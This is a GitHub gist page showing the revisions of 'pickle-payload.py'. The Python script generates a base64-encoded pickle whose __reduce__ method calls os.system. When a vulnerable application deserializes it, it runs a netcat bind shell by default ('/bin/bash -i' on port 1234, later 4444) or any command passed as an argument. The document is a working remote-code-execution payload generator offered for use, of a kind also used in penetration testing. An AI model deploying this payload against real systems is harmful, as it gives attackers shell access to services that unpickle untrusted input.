Skip to content

Instantly share code, notes, and snippets.

@zema1

zema1/pickle-payload.py

Forked from mgeeky/pickle-payload.py
Created August 1, 2018 10:07
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save zema1/47f4cf15a371c36f37278f63b33e9abf to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save zema1/47f4cf15a371c36f37278f63b33e9abf to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @mgeeky mgeeky revised this gist Aug 1, 2016. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion pickle-payload.py
    View file
    Original file line number Diff line number Diff line change
    @@ -10,7 +10,7 @@
    import sys
    import base64

    DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 1234"
    DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 4444"
    COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND

    class PickleRce(object):
  2. @mgeeky mgeeky created this gist Aug 1, 2016.
    20 changes: 20 additions & 0 deletions pickle-payload.py
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,20 @@
    #!/usr/bin/python
    #
    # Pickle deserialization RCE payload.
    # To be invoked with command to execute at it's first parameter.
    # Otherwise, the default one will be used.
    #

    import cPickle
    import os
    import sys
    import base64

    DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 1234"
    COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND

    class PickleRce(object):
    def __reduce__(self):
    return (os.system,(COMMAND,))

    print base64.b64encode(cPickle.dumps(PickleRce()))